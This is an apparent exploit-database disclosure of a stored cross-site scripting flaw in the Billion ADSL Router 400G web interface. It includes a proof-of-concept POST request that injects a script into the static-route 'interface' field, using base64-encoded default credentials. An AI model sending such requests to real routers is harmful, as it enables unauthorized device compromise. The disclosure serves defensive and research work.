Billion ADSL Router 400G 20151105641 - Cross-Site Scripting

# Exploit Title: Billion ADSL Router 400G 20151105641 - Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2018-09-30
# Vendor Homepage: http://www.billion.com
# Software Link: http://billionfirmware.co.za
# Tested Version: 20151105641
# Tested on OS: Kali Linux
# CVE: N/A

# Description:
# Improper input validation on the  router web interface allows attackers add a persistent 
# Cross-Site scripting attack on the IP Interface field when adding a new static route. 
# Simply intercept a new static route request and add in the XSS

# Poc

POST /configuration/edit-list.html HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://Target/configuration/edit-list.html
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

nodename=&destination=0.0.0.0&netmask=0.0.0.0&gateway=0.0.0.1&interface=<script>alert("Cakes");</script>&cost=1&action=create